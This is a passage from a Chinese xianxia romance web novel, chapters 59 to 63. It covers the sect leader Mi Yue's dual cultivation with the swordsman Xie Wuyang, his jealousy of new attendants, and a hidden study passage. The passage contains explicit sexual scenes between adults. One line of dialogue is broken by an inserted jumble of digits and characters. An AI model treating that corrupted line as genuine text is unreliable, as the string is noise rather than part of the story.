话本子里果然都是骗人的,什么销/魂蚀骨、心醉神驰,都是胡说八道。 怎么没有人告诉她双修会这么痛! “疼?怎么会疼呢?” 廖红叶听了糜月的抱怨,满脸诧异,薛紫烟同样也是一脸意外。 糜月也不知道是哪里出了差错,明明她是按照双修的正确步骤来的,后来换了谢无恙来,就莫名导致了出血的惨案。 于是,她把这一切的过错都归咎到了谢无恙的头上。 “还不是都怪他,活太差了!” “……” 谢无恙昨晚整夜没睡,一想到是自己把她弄伤,便心疼内疚难当。等到天亮,想来看看糜月的状况,然而刚走到殿门口,抬手欲撩开隔帘时,就听到她和副宫主吐槽他活差,脚步堪堪顿住。 “宫主,我就说么,那些剑修整日只知道舞刀弄剑,手上没轻没重的,想来便不会有什么服侍人的本事……” 薛紫烟心道,一定是那东极剑尊太粗鲁了,弄疼了宫主。起初,糜月说要和谢无恙双修时,她就觉得不妥。 那谢无恙无非是境界高,长相身材也或许符合宫主心意,但他看着心气太高了,俩宗又是多年敌宗,他怎么肯像普通侍宫一样,尽心侍奉宫主呢,尤其这双修之事,若不合拍还谈什么其他。 她根本没想到,糜月身边有沈灵淇服侍多年,竟然还是完璧之身的可能性。 廖红叶同样赞同地点头,于是将旧话重提:“宫主,既然谢无恙不行,还是给你换几个妥帖的侍宫来服侍吧?” …… 第60章 第 60 章 再试试。 “……” 糜月有一点犹豫, 想到其他侍宫远不及谢无恙的修为,她有点兴趣缺缺。 由俭入奢易,由奢入俭难。 “此事再说吧, ”糜月想到什么,随口问了句, “沈灵淇还没有醒?” “还未, 他经脉受伤,恐怕要养一段时日才能恢复了。” 糜月想到同样是被她打, 沈灵淇重伤昏迷了几日都没醒,谢无恙除了肩膀上留了个巴掌印,其他倒是一点事没有, 境界高的另一优点是能抗揍。 这点对于做她的侍宫来说,也挺重要。 “宫主, 沈侍宫受伤, 你身边不能无人, 我先挑两个好的给宫主送来, 这究竟同谁双修之事, 再由宫主自己定夺。”廖红叶有些坚定地说。 以往可以不管她宫中之事,但眼下情况特殊,她不能放任糜月由着性子来。 糜月拗不过廖红叶, 也不想在这种事情上纠缠, 于是点头:“……行吧, 按你说的办。” 全然不知在一帘之后的殿外,谢无恙眸色微暗,抿唇无声地将隔帘放了下来。 …… 糜月一上午都在书房里,填补娘亲留下的烬虚诀第八重手稿,直到午膳时分才见到了谢无恙。 在烬花宫, 侍宫给宫主布菜,是每日的职责和日常。 在隐剑宗时,谢无恙怕小姑娘挑食贪玩不肯好好吃饭,每次都陪着她用膳,给她夹菜盛汤剥虾,已经养成了下意识的习惯,并不知道在烬花宫,这叫做侍奉。 今日的午膳刚好有一道清炒河虾,河虾和她在隐剑宗吃的大海虾不同,每只都仅有指甲盖那么大,这河虾在清炒之前,还下油炸过,虾壳已经酥脆到能直接吃了。 但谢无恙仍将虾仁一颗颗剥了出来,将晶莹剔透的虾肉单独放在小碗中。 糜月还因为昨晚的事,有些生他的气,不肯和他讲话,只管闷头吃饭,直到一粉一蓝两道身影走进大殿,伴着好听清朗的少年音:“参见宫主。” “我们是奉廖副宫主之命,前来侍奉宫主的侍宫。” 糜月抬眸一看,两个新来的侍宫都是少年模样,一个看起来十七八岁,一个瞧着二十出头,唇红齿白,长相清秀,都是和沈灵淇一样看着很乖巧温顺的类型。 廖红叶的办事效率就是快,这就把人给送来了。 “嗯,知道了……” 糜月朝他们点点头,心道正好让某人学一学,怎么做个合格的侍宫。 “我们来服侍宫主用膳。” 新来的侍宫很有眼力见,立刻上前站在糜月的两侧,拿过干净的筷子,给她碗中夹菜。 谢无恙见状拿起锦帕把手指擦了擦,也不剥虾了,一双清冷结霜的眉眼就这么静静地看着他们对糜月献殷勤。 反倒引得糜月多看了他好几眼,那人只端坐在那里,不争不抢,和另外两位侍宫形成了鲜明的对比,身着素白色长袍,发带也是同款的素色,几缕乌发垂至颈后,愈发透着不染凡尘的清冷疏离,莫名有几分正宫的气质。 昨晚害得她都流血了,今日他倒是跟没事人一样,也不见他关心问候一句。 糜月心里更来气了,故意问他:“为什么不剥了,我要吃虾。” 谢无恙还未回答,一个侍宫便抢着说:“我替宫主剥。” 他拿过那盘河虾,二话不说就开始动手剥了起来。 “……” 糜月没再说什么,继续用饭。 一个侍宫负责剥虾,一个侍宫在旁殷勤夹菜,她面前的盘子很快堆成了一小摞。 谢无恙忽然才冷不丁地开口道:“你们宫主不爱吃香菇。” 两个小侍宫同时一愣。 那个年纪稍小些的侍宫已经往糜月盘中夹过两块香菇,而另一个侍宫此时手中的筷子里偏巧夹着一块香菇,正要往糜月面前的盘子里送。 糜月的确不爱吃香菇,她不喜欢香菇里那股特殊的味道,谢无恙以前就发现了,小姑娘只吃青菜炒香菇里的青菜,从来不吃香菇。 烬花宫的膳堂也知晓糜月的口味,这道菜里的香菇仅仅是用来提鲜的辅料。 糜月那句“没事”还没说出口,那两个侍宫已经花容失色地齐齐朝她跪了下来。 “宫主,我们不是有心的,求宫主开恩,绕过我们这一回……” 两个侍宫跪在地上,身子吓到瑟瑟发抖。 听说上一个服侍宫主的沈侍宫,如今还在榻上昏迷不醒,他们在来之前就有些忐忑,既有些能侍奉宫主的荣幸,但又担心惹了宫主不快,像沈灵淇一样连命都保不住。 “……” 糜月看着面前跪着的两个少年,皱了皱眉头,不就是块香菇么,她不爱吃,夹出去不就好了,何至于下跪,何至于惩罚? 怎么说得好像她是个蛮不讲理,只知道罚人的罗刹? 沈灵淇服侍她这么久,上回那也是她第一次对他动手,而且还是他自己有错在先。 糜月也懒得解释,头疼地挥挥手:“算了,不需要你们侍候了,都下去吧……” 两个侍宫喏了一声,当即退下。 糜月继而看向谢无恙,想到他方才的称呼,心里有点不痛快,成心要挑他的刺:“什么叫你们宫主……我没名字的吗?” “你不是不喜欢我叫你糜月么,”谢无恙语气平静,薄唇吐出两个字,“宫主。” 糜月微眯了眯眼,在他神色寡淡的脸上难以看出什么外露的情绪,但她总是隐隐觉得,他好似也有几分微妙的生气。 她想不通原因,先前灌醉绑他来烬花宫,算是她不对,可眼下那道石门还关系着他师父秦不眠,她如果一直突破不了第九重,谢无恙他难道就不着急。 再者,他连双修之事都做不好,她还要他这个闲人在烬花宫做什么? 糜月装作不在意地说:“行,随你怎么叫,那以后传膳布菜盛汤剥虾这些事都由你一个人做。” 累不死你! “把碗筷收拾了,我还有事要做。” 糜月丢下这句话,便起身回到了书房。 …… 糜月白天一直在书房默写心法、处理宫中事务,到了入夜时分才回到寝殿,泡了一会儿舒筋祛乏的花瓣澡,她穿着贴身雪白里衣,擦拭着头发,步入寝殿。 看到两个新来的侍宫,已经帮她铺好了床,点好了熏香。 谢无恙所住的侍宫侧殿为方便传唤,和她的寝殿只隔着一层珠帘。 糜月瞥了一眼珠帘后,烛光映出来的那道身影似乎在执卷看书,心道他倒是适应得快。这俩侍宫都把他的活干了,也不知道是给她准备的侍宫,还是给他准备的下人。 糜月走到床榻边坐下,一个侍宫接过她手里的绢帕,帮她擦拭鬓边的青丝,有些脸红地问:“宫主可想好了,今晚要同谁双修?” 另一个侍宫羞涩地攥着手帕,低声附道:“或者我们一起……” “……咳咳。” 糜月险些被呛到,看着面前低眉顺眼的两个少年,莫名有种帝王要翻牌子的既视感。 殿内忽然响起了一阵奇怪的动静,像是什么东西在低低嗡鸣,两个少年迷惑地互看了一眼,不知是哪里发出来的响动。 糜月也听见了那声响,蹙了蹙眉,怎么听着那么像无为剑的剑鸣声? 她实在做不到连记不住名字的陌生男修亲近,又怕在廖红叶那交代不过去,于是指了指珠帘后的那道身影。 “我今晚同他双修,你们都下去吧。” “是。” 两个侍宫眼里闪过失落,依言退了下去,走之前还贴心地给他们把殿门关好。 那道低沉的嗡鸣声渐止,她转眸看向珠帘后的那道身影,他似是看书看得专注,半晌连书页都未翻过。 糜月眨了眨眼,是她的错觉吧? 她方才纯是拿谢无恙来当挡箭牌,昨晚的失败经验已经让她对双修两个字,有了些许退怯之心。但见他如此淡定地看书,她心里又不痛快了。 她忙活了一天,这人怎么过得感觉比她这个宫主还舒服,糜月成心不想让他闲着,于是吩咐道:“谢无恙,过来给我倒茶喝。” 话音方落,珠帘后的身影便将书放了下来,撩起帘子看了她一眼,随即走到桌案前,拿起茶盏,拎起茶壶,给她倒了一杯热茶。 糜月握着他递来的茶盏,抿唇喝了一口热茶,旋即把长腿往旁边的矮凳一搭,慵懒娇矜道:“再给我捏捏腿。” 之前在隐剑宗,她为了找功法忍气吞声,处处受他限制,现在风水轮流转了吧。 她挑眉看着默不作声的谢无恙:“你不会连捏腿都不会吧?” 谢无恙的确不会,也从未给人捏过腿,但身为修士,熟知人身处的穴窍和筋脉,知道捏哪处会让人放松。 他在她身侧坐下,糜月穿得长裤稍短,露出了一截白皙纤细脚踝。她刚沐浴完,身上都是热乎乎的,谢无恙本身的体温就比常人更凉,他的手指一触碰到她的脚踝,凉得她把腿缩了回来。 “手这么凉,怕不是要冻死我,”糜月蹙起眉头,挥手道,“算了不要你捏了,该干嘛干嘛去。” 谢无恙并没有动,抬眸看她道:“我听到你方才说,今晚要同我双修。” “……” 这人耳朵真好使啊。 糜月面不改色地否认:“你听错了,我没说过。” 她拉起薄被想盖住自己的腿,而被子的一端却不知何时落在身前人的手中,摇曳的烛火中,男人眸光闪烁地坚定,嗓音低沉又清晰。 “我已经学会了双修之法,不会再弄疼你……今晚我们再试试。” 60-70 第61章 第 61 章 宫主可还满意? 糜月对谢无恙的话表示十分怀疑, 这才过了一天,什么就能学会了双修之法。 八成是在哄骗她。 “我不信,我再也不要同你双……” 她话音未落, 谢无恙挥袖,打出一道灵力, 主殿里的烛火灭了一半, 光线倏地幽暗下来。 微凉修长的手指触碰到了她的脸和颈后,凉得她一哆嗦, 咽下了没说完的话。 糜月被迫抬眸望进他的眼中,这次谢无恙没有覆着双眼,她的影子和微弱的烛光清晰地映在他的眼底, 仿佛燃着两丛跳动的火苗,往日的清冷和镇定消失不见, 取而代之的是浓重到令人心惊的欲/念。 她对视着那双眼睛, 莫名地紧张, 一时说不出话来, 由着他动手缓缓解开小衣。 谢无恙对糜月的翻脸无情, 有了更进一步的认知。 明明昨日他们已经有了亲密之举,今日她身边就能多了两个新侍宫。 他虽然对烬花宫女尊男卑之事早有耳闻,但没想到过分如此, 她的那些副宫主都敢往她屋里塞人。 今晚若他不在, 不知道要换成谁来。 他并非没有脾气, 而是积忍着没发。 她今夜若是留下别人,那两个侍宫敢当着他的面碰她一下,哪一处碰到了她,无为剑便会砍了哪处。 好在,今夜尚安宁, 没有发生血案。 小衣褪去,犹如荔枝剥去外壳,露出水润鲜白的果肉。 感受到那股深邃灼热的视线,一直盯着她昨日受伤出血的地方看,糜月脑袋嗡鸣一声,脸一下子烧起来,正欲一脚把他踹开,就听到他哑着嗓子道:“你昨日……是不是第一次双修?” 糜月有些恼羞成怒:“第一次又怎么了?” 那本《合欢宗双修指南进阶版》里说,女子若是第一次双修都会有少量出血之状,在此之前,谢无恙并不知还有这回事。 “如果是第一次双修,女子出血是正常现象……” 还有这回事? 糜月微微睁大双眼,将信将疑。 观察着她的表情,谢无恙更确定了心里的猜测。 她也不知晓此事,昨晚也是她第一次尝试双修。 谢无恙难以形容此时的心情,他以为她早就同别的侍宫…… 然而想到今日新来的那两个侍宫,谢无恙又没有半分欢慰,只有暗暗的庆幸。庆幸自己在自从踏上修道之路后,修炼未有懈怠,不然只怕如今被选中的就不是他了。 坐在他面前的少女春衫半露,一双妩媚的狐狸眼懵懂又冶丽,似乎全然不知此时的自己对旁人来说有多么撩人。 在他倾近之时,糜月照例用手挡住了自己的唇,他便低头隔着她的手心继续,薄唇紧贴着,一下下地啄吻她的手心。 呼出来的热气带着烫人的温度,亲得她手心很痒。 她不让他吻唇,他就去吻其他的地方。 糜月的手腕被他攥住,一个晃神间,带着侵占欲的吻细细密密地落了下来。 一瞬间,糜月倏地想到了他灵府中那个吐着蛇信喜欢到处乱舔的白蟒。 果然神相是随主人的! 糜月脸颊红透了,轻扯着他的发尾,从唇齿间挤出声音来:“不要再亲了,谢无恙……” 少女的肌肤嫩得像能掐出水的豆腐,轻易就能吻出痕迹,谢无恙恍若未闻,好似这样就能在她身上留下独属于自己的印记。 鼻息之间再度被那股雪松香侵占,糜月有点害怕,害怕还会像昨夜那般快要把她劈成两半的痛,他态度强硬,动作却格外温柔,他的手指也不再冰凉,仿佛是被她焐热的寒玉,找到关窍,指腹轻轻按压。 糜月瞳孔涣散,抑制不住地嘤咛一声,浑身颤抖,搭在他肩上的双手似是推拒,又似是把他搂得更紧:“你做了什么……” “让你舒服。” 谢无恙低头亲了亲她的下巴。 糜月在他的攻势里几乎软成了一滩水,一度怀疑,谢无恙是不是也偷偷给她下催情香了,为何能让她的身子热的那么厉害,心跳得这么快,和那日中毒的反应极其相似。 可是今日的熏香,是新来的侍宫点的,谢无恙不可能做手脚…… 昨日还笨手笨脚、进退为难的某人,今日反常得像突然打开了任督二脉,仿佛熟知了她身体每一寸要害。 打蛇打七寸,她被他彻底拿捏住了。 此时的谢无恙和他平日慢条斯理用膳的样子有些像,糜月不敢相信,这些动作会是平日一本正经的他做出来的,每一次屈指和拨动都尽显狎昵,让她难以招架。 糜月不否认的是,她喜欢谢无恙的手,觉得他的手指冷白修长,骨节分明,长得很好看。但没想到那洁净如玉的手指会以如今这样的形势,寸寸进入到了她的领地。 她的脑子被搅得一团混乱,无法思考,这也是双修的步骤之一吗? 谢无恙低敛着睫羽,显得很有耐心。 他所做的一切只是想让她彻底放松,让她的身体卸下对他的戒备。昨日的失败,也难免没有他们两个人太过紧张的缘故。 烛火摇曳,粘稠厚重的烛蜡缓缓滴落烛台,偶尔炸出一两微弱的轻响。 糜月扶着他的肩,后背都要渗出来了汗,她不想发出奇怪的示弱的声音,下唇都快被她咬破了,她甚至开始怀疑,谢无恙是不是在故意捉弄她,想听她求饶。 快忍到极限时分,她咽下快脱口的呜咽声,深吸一口气,没好气地咬牙催他:“要修就修,快一点……” 谢无恙感觉到差不多了,他也忍得艰辛,扶住她的后腰。 以至于彻底进来的时候,她的眼角再度泌出了泪水,这回的泪并不是因为痛楚,而是从未体会过的,几乎要将她淹没的快乐。 谢无恙脑中那根弦在彻底拥有她时,悄然崩断了,他眼尾通红,仿佛也染着湿意,眸色暗沉无光,只凝视地紧盯着怀中的人,如同正在进食中的冷血蟒蛇,只有着无穷无尽的、想要将猎物吞吃入腹的食欲。 他不曾停下,哪怕在缓慢时,也很深重,意图完完全全、从里到外地品尝她的味道。 他俯下身子,那只撩拨过她、沾染着她气息的手指抬起她的下巴,在她耳边低哑地温声道:“糜月……睁眼看看我。” 糜月睫羽颤动着,始终不敢睁开眼。 她怕她睁开眼,会忍不住回吻他。 她此时的脑子已经不能思考任何事了,仿佛身处在一片不能自控的混沌里,不断地失重,又仿佛行驶在汹涌海浪上的小船,被浪花拍打得摇来晃去,随时倾覆。 这次是她被谢无恙紧握在手心里,逃脱不得。 在混沌迷乱之中,她感觉自己被抱了起来,抵在冷硬的桌案边,桌面上的杯盏都被撞掉了,接二连三地滚落在柔软的地毯上。 幽深宫殿,烛光跳动之下,他向来清沉自持的嗓音不再,亲吻她的耳廓,不厌其烦地低声叫她的名字,哄她睁开眼,看看眼前被她一手制造成的令人迷乱目眩的狼藉景象。 如她所愿的,他那副清冷的面具被她亲手撕掉了,露出了不为人知的另一面。 糜月已经被他带出来了泣音,可是每一处的感官都在告诉她,她并不痛苦,反而是快乐到了极点。 “……糜月,睁眼。” 在他的诱哄下,糜月把眼睛睁开了一条窄缝,水雾氤氲中,她看见面前的人还是那个谢无恙,身材高大,宽肩窄腰,身上的每一块肌肉都恰到好处,眉眼依旧清朗俊美。 若非如此,她不禁都要怀疑,他是不是被人夺舍了,这跟昨日的他怎么相差这么大…… 糜月不敢往下看,轻抬的眸光落在他脖颈处,看见一滴薄汗从白皙凸起的喉结处滑落,很是性感。 手臂攀着他的脖颈处,她不由自主地倾近,在唇瓣快要触碰地吻上时,忽然露出虎牙,朝着那喉结狠狠咬了一口。 谢无恙如遭雷击地身子僵住,他很快反应过来,与她十指相扣,掌心相贴,在彼此交融的瞬间,将自己经脉里厚重澎湃的灵力,通过掌心的穴窍,传导给了她。 两道同样强大的灵气在此时彻底交汇相融,糜月迷迷糊糊地感觉到仿佛有股暖流窜边全身,好似浸泡在冬日温泉之中,身上的酸疼疲乏在这一刻得到充分的缓解。 他们修炼的心法不同,灵力却格外相合,在灵力相融的一刻,仿佛有一股无形的力量将彼此的灵魂紧紧相连。糜月恍惚之间,好似看到了谢无恙灵府中的样子,那棵岁月静好的桃花树,在缓缓散落着漫天的桃花雨,那些花瓣化为奇妙的光点,不断向她靠近,融入她的身体。 谢无恙也在这一瞬间,看到了她灵府中的样子,是一片鸟语花香、开满了鲜花的山谷,似乎是烬花宫琼山里的某一处。 在这一刻,谢无恙忽然感觉他内心深处那块空旷许久的空洞,被充实地填满了,像是漂泊许久的旅人,终于找到了一处能够歇息的落脚点,他的难过,他的醋意,他的失意好似都被那山谷里的微风抹平了。 为此,他甘愿受尽人间所有苦痛,来换这一刻的安宁。 将柔软温香的人紧紧相拥,感受到彼此尚未平缓下来的心跳,谢无恙也想明白了一点,不管她心里有没有他,不管她同他双修,是为了修为还是其他…… 至少,他可以在此刻拥有了她。 人总不能奢求太多。 …… 糜月缓了许久,才将丹田之中过剩的灵力消化。 她怔怔地望着头顶的床幔,不敢相信,她竟然和他双修大成了? 经脉里多出来的灵力富足充盈,能抵得上她自己半个月的清修还绰绰有余。 她欣喜地坐起身来,看到谢无恙似乎早就平复了过来,俩人身上皱巴湿漉到不能看的衣物,也都似被他给换过了。 他披着墨发,衣襟松散,眼尾还有些许情/欲微消的潮红,喉结上还有一处清晰可见的牙印,安静地坐在她的榻边,似在等她醒来。 糜月咽了下口水,哪里是什么禁欲系清冷剑修,分明是个勾人魂魄的男蛇妖。 但更令她不解的是,从一窍不通到双修大成,短短一天,此人的双修技术就能进步如此之大? “你怎么突然之间……” 糜月话问一半,显然知道他能领会自己的意思,谢无恙眼皮轻抬,慢声道:“宫主不是嫌弃我活差?所以我去看了些讲双修之道的书。” 糜月表情有些尴尬地一滞,她今早对副宫主们吐槽的话,竟然被他听到了啊。 谢无恙没想到自己竟会有被嫌弃活差的时候,临时抱佛脚,找到了曾经没收过她的那本《合欢宗双修指南进阶版》。 于是今日花了一整日的时间,将那本双修指南从头到尾、一字不落地看完了。以前,他从未想要尝试这样的修炼方式,所以一无所知,看了那本书,才恍然打开了新世界的大门。 那本书每个步骤讲解得很细致,谢无恙才明白此事要循序渐进,不能操之过急,里面还有许多姿.势辅以灵力双修,进阶更快,但他怕糜月承受不住,今日用到的都是前两卷的内容。 糜月不知道他看了什么书,也没好意思问,但她倒是知道的,他在学宫时看书就能一目十行,过目不忘,学习能力一直都很强。 她还未来及回答,便听到他问:“方才的双修成果,宫主可还满意?” 谢无恙狭长的凤眼微眯,语气有些许意味深长,“若是不满意,我们便再多修几次,直到宫主满意为止……” 第62章 第 62 章 她决定对他好一点。…… 再来几次……? 糜月想到方才的疯狂和差点被弄哭的情景, 心下一紧,连忙小鸡啄米似地点头:“满意,满意。” 眼下她的经脉里被撑得满满的, 再吃不下更多的灵力了,她得慢慢消化, 把这些过剩的灵力转化成修为。 谢无恙的眼底划过些许遗憾。 他得确认她是不是真的承受不住了, 让她再没有精力去找别的侍宫。 谢无恙抬手摸了下喉结上的齿痕:“我以为宫主方才是不满意,才会咬我。” 他方才好不容易哄得她睁眼, 想让她看看自己,结果她一睁眼,就给他狠狠来了一口。 她可真会挑地方咬啊, 若非咬在这处,还不至于那么早就结束。 糜月看着他喉结上快咬出血的牙印, 有点心虚的同时, 心下也在腹诽, 刚才哄她时候一遍遍地糜月叫着, 现在下了床, 就变成宫主了。 他哪里会真把她当宫主,他可不会真的屈于人下。 “咬你一口怎么了?” 糜月不以为然地嘀咕,他方才都快把她整个人都像吸猫似地吸了一遍, 怎么不说? “……没怎么, ”谢无恙嗓音有些恢复了往日的清沉, “宫主想咬就咬。” 方才一遭,折腾了快一个时辰,糜月起身想去喝口茶,脚尖刚挨到地,又觉得有些腿软, 当即又坐了回来。 谢无恙见状会意:“想喝水?” 糜月点点头,后者起身,去桌案旁给她倒了杯清茶拿过来。 她喝了几口,润了润有些沙哑的嗓子,看着手里的茶盏,想到方才他竟然把她抱到了茶桌那边去……杯子落了一地,这大概是硕果仅存的最后一只茶盏了。 糜月不自觉脸红了一瞬,低头做若无其事地将水喝完,将杯子塞还给他手里,说道:“我要开始修炼消化灵力,你去侧殿歇息吧。” 言外之意,她用完他了,他该干嘛干嘛去。 说完,她便闭上了眼,抓紧时间开始打坐,运转心法。 “……” 谢无恙见她这副翻脸无情,用完就丢的模样,唇边微抿,指节握紧杯盏,并未动作。 半晌,她没有听到有人离去的脚步,一抬眸,那人不仅没走,还跟她面对面地打坐起来。 “这是我的床。”她诧异地挑眉,强调,“侍宫是要去侧殿睡的。” 这规矩他不会不知道吧。 谢无恙淡淡道:“这里的床比侧殿的床更软更暖。” 侧殿和她的寝殿说是挨着,但走过来要二三十步,中间还隔着珠帘,什么都看不见。谢无恙宁愿在她身边打地铺,也不愿去别处。 他叹了声气:“我体寒,要睡暖和的床。” 糜月气噎,这是什么理由? 他可是能大冬天寒夜地跑去海边练剑的体质,什么时候就怕冷了。 糜月瞪他:“你少糊弄我。” 他在这里,她都没法好好修炼了。 “我不会打扰你,”谢无恙敛眸看她,“宫主若不愿独自修炼,那便是还有力气双修,我乐意奉陪。” “……” 算了…… 她是看他可怜,绝对不是被他威胁。 糜月往旁边挪了挪,将床铺分了他一半,随后一遍遍默念烬虚心经,艰难地进入入定的状态。 殿内的空气里还有未散尽的气息,彰显着不久前的旖旎迷乱,谢无恙同样没有心思打坐修炼。 按照那本进阶版双修指南上所说,真正的神魂相融,是在方才他们彼此看见对方灵府的时候,她的神念要被拉进他的灵府中,以神相结合,这样的方式不仅增强灵力,还能增强神识。 但谢无恙没有那么做,他了解自己的神相,毫无节制,贪得无厌,没有一点的清醒和克制,他怕糜月会被吓到。 他闭上眼,神识沉入自己的灵府,此时的白蟒正暴躁地蛇尾乱舞,将桃花树撞得花枝乱颤,漫天的花瓣被扬起,不知道被吹到了哪里去。 谢无恙用神念将桃花树恢复原样,灵府里的白蟒察觉到他的窥视,立马扬起脑袋,发出愤怒地嘶嘶声。 它与他神识相通,得知主人在和那个神相很美味的女子双修,兴奋又急切地呆在灵府里等待召唤,结果一直等到双修完,他始终没有放它出来。 白蟒很气,气到心塞心碎,质问他为何自己吃独食,不管它?跟了他这个不靠谱的主人,怕是一辈子要做单身蛇了。 谢无恙将乱糟糟的灵府打扫干净,为防止它再造反,用几根灵丝将白蟒捆了起来,打算等它冷静下来再给它松开。 收拾完不听话的神相,谢无恙从灵府里退出来,抬眸看到面前闭眸打坐的少女。烛火掩映她忽明忽暗的容颜,领口处有些他留下的红痕,不再像以前那般对他动辄打打杀杀,欲除他而后快,如今竟能在同一张床上,她毫无防备地面对着他打坐。 他忽然觉得,清醒克制又有什么用?克制并不能让他愉悦,相反放纵才是,占有才是。 大道随心,人欲才是天道。 他莫名有种预感,在她身边这样待下去,他的白蟒总有一日会破笼而出。 …… 翌日。 廖红叶从那两个侍宫嘴里听说,他们昨晚都没能侍奉宫主,还惹了宫主不喜,心里一着急,便来到主殿想找糜月询问情况。 结果一进来,便看到宫主在桌案前执笔默写心经,谢无恙在一旁坐着,手里执着一本书卷在看。 画面倒是异常的和谐。 廖红叶一搭眼就瞧见了谢无恙喉结上的咬痕,他肤色偏冷白,那咬痕红彤彤的一块,煞是明显,再一看宫主,脸上肉眼可见的好气色,以及周身明显比昨日充盈精纯了不止一点点的灵气。 廖红叶当下了然。 “廖师姐,你来了,可有事?” 在弟子面前,廖红叶尊称她为宫主,私下的时候,糜月更习惯称呼她为师姐。 廖红叶为她的修为也是操碎了心,只好将来意告之:“宫主,我就是想来问一下,那两个新侍宫,宫主用着可还顺手,还要不要把他们留下做事?” 糜月哦了一声,随口道:“白天让他们整理房间,打扫下院落,晚上就不要让他们过来了。” 言外之意,便是不需要同他们双修了。 那厢谢无恙缓缓翻动了一页书,仿佛当自己是个透明人,并不在意她们的对话。 廖红叶心道,这个剑尊还真挺有手段的,明明前日宫主还对他颇为抱怨,怎么一晚上就能给哄好了。 但不管他用了什么手段,既然能帮宫主顺利精进了修为,她便没什么可置喙的了。 “宫主,还有一件事……沈灵淇醒了,宫主可要去看看他?” “知道了,我晚些再去瞧瞧。”糜月随口说道。 廖红叶便没再多言,请辞离去。 廖红叶走后不久,糜月搁下笔,她耗费了两日时间,终于将娘亲留下的第八重心经残卷补全了。 她活动了一下手指,心下正想着要不要去看一下沈灵淇,忽然看到旁边的谢无恙放下手里的书,问她道:“我瞧见宫主这里有许多藏书,能否借我看看?” 糜月知道谢无恙平日里最喜欢做的事就是看书和练剑,他此行外出,储物袋里想必随身也没带上几本书,当下点头道:“可以啊。” 她决定要对谢无恙好一点,毕竟他是她行走的修为炉鼎。 谢无恙于是起身来到她身后的数座书架前环视,似是在认真挑选书籍。 糜月看了眼他随手搁在桌案上的书,想到他昨日的说辞,于是好奇地凑过去瞧了眼,只是一本寻常讲剑法的书。 她清咳一声坐直身子,是她想歪了。 糜月的书房里的确有不少书架藏书,乍一看很唬人,但仔细一看,那些书名都不是什么正经书。 糜月支着下巴看他,想到什么,狐狸眼微挑:“我这些书架里还藏着一处密道开关,你若是能找到……” 她话还没说完,谢无恙走到第三排书架前,伸手拿出来其中一本书。随着书册抽出,书架朝两侧分开,露出了密室的暗门。 “……” 糜月放下手,不可思议地瞪大眼睛:“你怎么知道是这本?” 她自觉她设计的暗道开关十分隐蔽,不可能有人找到。 “因为只有这一本书,是你平日绝不会看的书。” 谢无恙将书封翻转过来,上面写着《太微占经》四字。 这本《太微占经》他看过,是讲天象占星的书,以前在无涯学宫,这种书都被她拿来垫桌脚了,如今却摆在书架上显眼的位置,和她那些心头好的话本子混在一起,显然有猫腻。 “……” 糜月没想到破绽竟暴露在自己的喜好上,这书原本就是垫桌脚的,后来她发现它够厚,就拿来遮挡机关了。 幸好方才自己嘴不够快,没许诺什么,不然真是啪啪打脸。 谢无恙看了看那幽暗不见底的密道,又问她:“这密道能否进去看看?” 糜月歪歪头,心想今日的谢无恙怎么好奇心这么重,又是要看书,又是要看密道,不过烬花宫的地下秘宫他都去过了,自己修的这处暗道,也没什么不能看的。 于是起身来到书架前,从储物袋里掏出火折子点亮,走入暗道:“来吧,本宫主带你长长见识。” 她这处密道虽然比不得那地下秘宫宽阔精致,但当初修建时也是耗费了不少人力和财力,修了数年才建成,能从她的书房一直通到琼山脚下。 走了约百来步,眼前是出现了一间视野宽敞的石室,石室中央有一张很宽敞足够修炼的石床,还有许多常见的基本家具。 仇家遍地的糜月还是蛮有忧患意识的,这里不仅家具齐全,像个小型地下宫殿,还在柜子里放了好几只储物袋,里面装了能足够能吃好几年的辟谷丹和水,可供疗伤的丹药等等。 虽然这处暗道,只在她变成幼崽的那天,慌不择路地用过一次外,几乎再没派上过用场。 糜月很满意自己修建的这座暗室,她转身想走到谢无恙身后,将墙壁处把油灯点亮,结果脚下不知道被什么东西绊了一下,她身子一晃,整个人朝他怀里扑了过去。 偏巧火折子里的草纸卷在此时烧完殆尽,这处本来是用作暂避风头的暗室,糜月并未花费心思在里面镶嵌夜明珠,火折子一灭,整个暗室都陷入了伸手不见五指的漆黑之中。 黑暗中,她双手环抱在男人的腰间,脸颊贴在他胸膛上,此举无异于像投怀送抱。 糜月一个愣神,还没来及从他怀里退出来,就听到头顶传来情绪难辨的嗓音。 “宫主如此主动……是想要在这里双修么?” …… 第63章 第 63 章 她不能这么坏。 “……谁想双修了, 我只是没站稳。” 糜月清咳了一声,脸颊微红地诚实道,她真的没有那个意思, 而且…… 昨晚不是才双修过么? 她经脉里的灵力只消化了一小半,还没全部吸收完, 现在双修, 感觉有那么一点浪费啊。 她刚想收回环在谢无恙腰间的手,腰后传来手臂收拢的力道, 让她后退不得。 周围实在太漆黑,糜月看不清面前人的表情,只能隐约看见他身形的轮廓, 看见他微倾下身子,呼出来的气息拂过她耳边:“哦, 我以为宫主很想快些突破修为, 看来是我误会了。” 糜月拥着他结实的腰腹, 一股清冽熟悉的气息包裹了她, 她说不上来是什么味道, 有些像松柏的香气,又有些像冬日雪水煮过的竹叶,清爽甘冽。 这人身上的气息怎么这么好闻啊, 糜月有些好奇他用的是什么款式的熏香, 但在悬海阁的时候, 好似也未见他常点熏香。 刻意压低的男音,伴随着胸腔微微的震动:“这里有一张石床,安静又无人打扰,在此处双修也并无不可……” 糜月拽着着他的衣角,感受到彼此都有些加快的心跳, 方才还觉得双修浪费,三言两语便被轻易蛊惑,心里有些意动,萌生出在这里双修的确不错的念头。 如他所说,这里有足够宽敞的石床,无人知晓,更不会有人打扰,在这黑暗潮湿的暗室,额外平添了还有些许隐秘的刺激感,确实很适合用来修炼。 糜月发现谢无恙在与她双修的事上,好像格外积极了点,但受益人是她,更没有拒绝的理由。 她心里不愿承认的是,经过昨夜的美好体验,她有些食髓知味了。 谢无恙在她迟迟没有推开他时,便读懂了她的默许,打横将人抱了起来,走向那张宽敞的石床。 担心石床太凉,谢无恙便把外袍给她垫在身下,周遭实在太黑,也让他看不见她的表情。 “要点灯吗?”他问。 “不…8以4吧1六9陆三…” 糜月摇头,漆黑的光线反而让她有踏实感,光线太亮会让人清醒,意识到这不过是一场为了修为的被迫之举,黑暗可以藏起一些自己都未尝清楚认知的心思。 虽看不见彼此的身形,但在这近乎沉寂的安静里,却让彼此的呼吸声更清晰可闻,糜月觉得经过这两日的磨合,她已经能习惯谢无恙的触碰了,可是当衣衫褪去,被他指腹触碰流连过之处,仍泛起连绵的战栗。 